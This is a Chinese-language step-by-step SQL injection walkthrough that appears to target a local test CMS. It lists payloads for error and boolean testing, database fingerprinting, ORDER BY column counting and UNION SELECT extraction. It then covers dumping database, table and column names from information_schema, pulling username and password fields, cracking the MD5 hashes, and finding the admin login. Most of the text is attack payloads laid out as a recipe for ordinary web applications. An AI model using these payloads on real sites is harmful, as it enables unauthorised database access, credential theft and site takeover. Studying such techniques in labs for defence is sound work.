1、测试环境:Firefox浏览器,hackbar工具
2、测试站点:http://127.0.0.1/cms/
3、注入点:http://127.0.0.1/cms/show.php?id=33
(1)正常访问页面
(2)输入英文单引号 ‘
从报错显示中知道目标站是MySQL数据库
(3)输入 and 1=1,返回正常
(4)输入 and 1=2,返回错误
4、判断数据库类型
根据出错信息可以判断出是MySQL数据库,也可以用命令测试实现
Access:
and (select id from MSysAccessObjects) >0 返回正常说明是access
MSSQL:
and (select id from sysobjects) >0 返回正常说明是mssql
MySQL:
and length(user())>0 返回正常说明是MySQL
5、爆字段长度
使用命令 order by num,采用二分查找法,迅速找出num的值
输入15返回正常,输入16返回错误,说明就有15个长度
6、匹配字符,命令 and 1=2 union select 1,2,3,4,,,,,n
然后根据返回数据位置构造下一步需要查询的信息命令
7、爆数据库、系统等基本信息
在显示数字3和11处输入命令查找信息,常用内置查询函数有
select system_user() 查看系统用户
select current_user() 查询当前用户
select user() 查询用户
SELECT version() 查询数据库版本
SELECT database() 查询当前连接的数据库
select @@version_compile_os 查询当前操作系统
select @@datadir 查询读取数据库路径
select @@basedir 查询MYSQL安装路径
8、爆数据库名
select schema_name from information_schema.schemata
9、爆数据表名
select table_name from information_schema.tables where table_schema=0x数据库名
数据库名需要转换成十六进制
10、爆列
select column_name from information_schema.columns where table_name=0x数据表名
数据表名需要转换成十六进制
11、爆字段
select 列1,列2,列3… from 数据表名
12、md5解密
根据找到的用户名和密码去cmd5解密
13、找后台
首先在页面中看有没有现成的后台链接,如果没有,可以尝试输入如 /admin , /manager等常用后台地址,或使用后台扫描工具
14、登录